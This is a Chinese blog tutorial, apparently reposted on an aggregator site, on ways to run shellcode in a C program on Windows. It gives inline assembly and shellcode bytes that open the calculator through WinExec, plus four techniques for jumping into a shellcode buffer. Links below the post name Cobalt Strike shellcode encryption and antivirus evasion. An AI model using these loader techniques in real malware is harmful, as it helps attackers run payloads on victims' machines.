执行shellcode的几种方式

首先写出汇编成功弹出计算器

#pragma comment(linker,"/section:.data,RWE")	//data段可读写#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")	//不显示窗口#pragma comment(linker,"/INCREMENTAL:NO")	//指定非增量编译
#include "windows.h"
void main()
{__asm{sub esp,0x454xor ebx,ebxpush ebxmov eax,0x6578652epush eaxmov eax,0x636c6163push eaxmov eax,esppush 5push eaxmov eax,0x74f0dab0call eaxmov esp,0x450}}

下面这两条语句时和call dword ptr [WinExec]功能相同,可以利用这条语句找出自己机子上WinExec地址,然后将0x74f0dab0替换成自己机子上的地址

 mov eax,0x74f0dab0call eax

提取汇编的机器码

unsigned char shellcode[]="\x81\xEC\x54\x04\x00\x00\x33\xDB\x53\xB8\x2E\x65\x78\x65\x50"
"\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50"
"\xB8\xB0\xDA\xF0\x74\xFF\xD0"
"\xBC\x50\x04\x00\x00";

接下来就是如何执行shellcode了

0x01

将shellcode硬改成函数名,然后shellcode的内容相当于函数体

void Run1()
{((void(*)(void))&shellcode)();
}

0x02

取shellcode的偏移地址,然后到shellcode处执行

//第2种方法
void Run2()
{__asm{lea eax,shellcodejmp eax}
}

0x03

和0x02方法相同,写法不一样

//第3种方法void Run3()
{__asm{mov eax,offset shellcodejmp eax}
}

0x04

用emit在当前位置直接插入数据(实际上是指令),硬编码执行

//第四种方法
void Run4()
{__asm{mov eax,offset shellcode_emit 0xff;	_emit 0xe0;}}
调试
#pragma comment(linker,"/section:.data,RWE")	//data段可读写#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")	//不显示窗口#pragma comment(linker,"/INCREMENTAL:NO")	//指定非增量编译
#include "windows.h"
unsigned char shellcode[]="\x81\xEC\x54\x04\x00\x00\x33\xDB\x53\xB8\x2E\x65\x78\x65\x50"
"\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50"
"\xB8\xB0\xDA\xF0\x74\xFF\xD0"
"\xBC\x50\x04\x00\x00";//第一种方法
void Run1()
{((void(*)(void))&shellcode)();
}//第2种方法
void Run2()
{__asm{lea eax,shellcodejmp eax}
}//第3种方法void Run3()
{__asm{mov eax,offset shellcodejmp eax}
}//第四种方法
void Run4()
{__asm{mov eax,offset shellcode_emit 0xff;	//用emigt就是在当前位置直接插入数据(实际上是指令),硬编码执行_emit 0xe0;}}void main()
{/*	__asm{sub esp,0x454xor ebx,ebxpush ebxmov eax,0x6578652epush eaxmov eax,0x636c6163push eaxmov eax,esppush 5push eaxmov eax,0x74f0dab0call eaxmov esp,0x450}*/Run1();
}

在这里插入图片描述
其他三种方法我都调试了都可以弹出计算器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380349.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

cobaltstrike生成一个原生c,然后利用xor加密解密执行

首先cobaltstrike生成一个原生c,我的是: /* length: 797 bytes */ unsigned char buf[] "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c" "\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac…

这样就可以很方便的知道明天的天气了

今天在侧边栏加了一个实用的小东西——天气预报。它可以根据来访者的ip地址自动判断地区,并展现今天以及明天的天气预报。这样来看blog的时候就可以知道什么时候该去收衣服啦~哈哈!实现代码其实很简单。就是套一个IFRAME,里面套个…

压缩矩阵

压缩矩阵:指为多个值相同的元素只分配一个存储空间,对零元素不分配存储空间特殊矩阵:指具有许多相同矩阵元素或零元素,并且这些相同矩阵元素或零元素的分配有一定规律性 1、对称矩阵 对称矩阵:矩阵每个元素都有aijaj…

线性方程组 python_线性方程组的表示 使用Python的线性代数

线性方程组 pythonPrerequisites: 先决条件: Defining a Vectors 定义向量 Defining a Matrix 定义矩阵 In this article, we are going to learn how to represent a linear equation in Python using Linear Algebra. For example we are considering an equatio…

初步体验数据驱动之美---TreeView

1.前言继上一篇《WPF应用基础篇---TreeView》的发布之后,有部分朋问我关于里面一些基础应用的问题,可能是我写得不够详细,所以在这里,我想再次那文章中的案例来谈谈初步体验数据驱动之美,摆脱旧WinForm编程习惯(靠触发…

不可以!

描述 判断&#xff1a;两个数x、y的正负性。 要求&#xff1a;不可以使用比较运算符&#xff0c;即”<”,”>”,”<”,”>”,””,”!”。 输入 有多组数据&#xff0c;每组数据占一行&#xff0c;每一行两个数x&#xff0c;y。 x、y保证在int范围内。 输出 …

树的基本概念

0x01 树 树&#xff1a;n个结点的有限集合&#xff0c;n0&#xff0c;空树任何非空树只有一个根结点n个结点的树只有n-1条边&#xff08;除根结点&#xff0c;每个结点只有一个前驱&#xff0c;一个前驱一条边&#xff0c;根据这个算的&#xff09;有序树与无序树&#xff1a;…

小学计算机教学教师培训,例谈小学信息技术课堂的有效教学

例谈小学信息技术课堂的有效教学在社会的各个领域&#xff0c;大家都不可避免地会接触到论文吧&#xff0c;论文可以推广经验&#xff0c;交流认识。为了让您在写论文时更加简单方便&#xff0c;以下是小编整理的例谈小学信息技术课堂的有效教学的论文相关内容&#xff0c;供大…

C和汇编---数组

0x01 初始化数组 1、没有初始化数组 #include "stdio.h" int main(void) {int data[4];for (int i0;i<4;i){printf("%d\t",data[i]);}return 0; }不同系统&#xff0c;输出结果可能不一样&#xff1a; 反汇编&#xff1a; 4: int data[4]; 5…

操作系统 系统开销比率_操作系统中的最高响应比率下一个(HRRN)调度

操作系统 系统开销比率操作系统中的HRRN调度是什么&#xff1f; (What is HRRN Scheduling in Operating System?) HRRN is the abbreviation of Highest Response Ratio Next Scheduling. It is an optimal scheduling algorithm. HRRN是最高响应率下一个调度的缩写 。 这是…

利用堆栈做循环

程序&#xff1a; #include "stdio.h" int main(int argc,char *argv[]) {char *str"%d";printf("hello world");__asm{ log:lea eax,logpush eaxlea ebx,strpush ebxpush eaxcall printfret 8}return 0;}运行&#xff1a;一直死循环运行下去 …

c# 多线程异步demo

一个 c# winform 多线程异步demo&#xff0c;分享下。 因为例子都很简单&#xff0c;所以不多说明&#xff0c;自己下载吧。转载于:https://www.cnblogs.com/chaobao/archive/2011/08/18/CSharpSync.html

计算机编程要哪方面天赋,编程要哪门子天赋

开局一张图写代码真的需要天赋吗&#xff1f;有句话是这样说的&#xff1a;论大家的努力程度&#xff0c;远不到拼天赋的时候。我认为所谓的天赋&#xff0c;应该是行业内Top10%水平才需要天赋&#xff0c;比如Linux缔造者Linus Torvalds&#xff0c;苹果发明者斯蒂夫沃兹尼亚克…

C和汇编----字符串

字符串是以空字符&#xff08;\0&#xff09;结尾的char类型数组。 0x01 定义字符串和初始化 用双引号括起来的内容称为字符串字面量&#xff0c;也叫字符串常量&#xff0c;双引号中的字符串和编译器自动加入\0字符&#xff0c;都作为字符串存储在内存中 #include "st…

远控免杀专题2---msfvenom的隐藏参数

0x01 msfvenom简介 msfvenom是msfpayload和msfencode的结合体&#xff0c;与2015年6月8日取代了msfpayload和msfencode。在此之后&#xff0c;metasploit-framwork下面的msfpayload&#xff08;载荷生成器&#xff09;&#xff0c;msfencoder&#xff08;编码器&#xff09;&a…

转载CSDN - 从程序员到HR——面试经验分享

CSDN博客一周热文推荐&#xff0c;为您总结回顾过去一周的CSDN博客热门文章&#xff0c;推荐优质的博客作者&#xff0c;分享精华文章和优质博客。 [1] 谭海燕&#xff1a;北漂之惠普H3C面试经历 上一篇讲到了《北漂之百度面试》&#xff0c;今天跟大家分享我在H3C的面试经历。…

ai系统架构_人工智能中的模糊逻辑系统架构

ai系统架构The Fuzzy Logic System is a system which uses Fuzzy logic for reasoning. Fuzzy Logic is a very efficient method for performing human-like reasoning in conditions with uncertainty. 模糊逻辑系统是使用模糊逻辑进行推理的系统。 模糊逻辑是一种在不确定条…

Firefox中国即将成立,希望在华推行Web标准

Mozilla的首席技术官(vp engineering)Mike Schroepfer给Firefox的粉丝们带来一个好消息:Firefox在中国的负责人李宫昨日接到总部正式通知,将在中国成立公司.Mike称:“公司将设立在清华科技园,在Google、微软的旁边,不过一开始规模不会大,只有几个人.李宫将负责招兵买马.实际上,…

远控免杀专题3---msf自免杀

0x01 免杀能力一览表 上面表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。由于本机测试时只是安装了360全家桶和火绒&#xff0c;所以默认情…

苹果手机的计算机删除了怎么恢复,苹果手机电话删除了怎么恢复

在清理手机通讯录的时候&#xff0c;万一不小心误删了手机通讯录&#xff0c;怎么办。那么被删除的手机通讯录还能找回吗?答案是可以的&#xff0c;苹果手机通讯录删除了怎么恢复呢。苹果手机电话删除了怎么恢复一、从iCloud恢复步骤1、打开【设置】-【Apple ID】-【iCloud】&…